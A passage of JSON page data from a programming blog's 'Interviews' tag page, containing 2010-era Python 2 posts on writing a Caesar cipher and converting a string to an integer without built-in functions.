style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e try\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1) Encode \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e '2) Decode \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e except\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ValueError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Invalid task, try again!'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e raw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'What message would you like to \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e%s\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e %\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Encode'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Decode'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e encode(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e elif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e decode(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e __name__\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e ==\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '__main__'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis would prove that you are a decent problem solver and have enough of\nthe language to get things done but if you want to prove you have\nmastered the python language you might take advantage of some slicing\nand some methods out of the string module and change your code to look\nsomething like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letters, maketrans\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e modify_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e trans \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e maketrans(letters, letters[shift:] \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letters[:shift])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.translate(trans)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eDo get more information on string.letters and string.maketrans you can\nvisit their documentation\n[here](\u003ca href=\"http://docs.python.org/library/string.html\"\u003ehttp://docs.python.org/library/string.html\u003c/a\u003e)\u003c/p\u003e","category":"Development","date":"2010-11-15T00:00:00Z","tags":["Python","Interviews"],"title":"Caesar Cipher in Python"},{"id":["old","convert_a_string_to_an_integer_in_python"],"path":"old/convert_a_string_to_an_integer_in_python","contentHtml":"\u003cp\u003eA fun interview question some developers like to ask is to have you\nconvert ascii characters to an integer without using built in methods\nlike string.atoi or int().\u003c/p\u003e\n\u003cp\u003eSo using python the obvious ways to convert a string to an integer are\nthese:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string.atoi(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe interesting thing here is finding out where on the ascii character\ntable the number is. Luckily python has this already built in with the\nord method:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e help\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(c) \u003c/span\u003e\u003cspan style=\"color:#FF938A;font-style:italic\"\u003e-\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e integer\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Return the integer ordinal of a one\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003echaracter string.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e49\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'2'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can see that the numbers are grouped together on the ascii table, so\nyou just have to grab '0' as the base and subtract the rest:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo if we have the string '1234', we can get each of the individual\nnumbers by looping over it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_string \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e []\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_string:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list.append(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(num) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut now how to we combine all these together to get 1234? You can't\njust add them up because you'll just get 1+2+3+4 = 10.\u003c/p\u003e\n\u003cp\u003eSo, we have to get 1000 + 200 + 30 + 4, which is a simple problem to\nsolve. Its just number times 10 to the nth power, so the final solution\nis:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003enum \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003enew_num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003ebase \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e enumerate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(num)):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(n) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ei)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_num\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis code is a little verbose though, lets make it a dirty nasty one\nliner!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e sum\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e([(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(n)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e **\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e enumerate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Development","date":"2010-10-28T00:00:00Z","tags":["Python","Interviews"],"title":"Convert a string to an integer in Python"}]}}},"__N_SSG":true},"page":"/blog/tags/[...id]","query":{"id":["Interviews"]},"buildId":"JV7_3PHABBSuh-GXH7KOz","isFallback":false,"gsp":true,"scriptLoader":[]}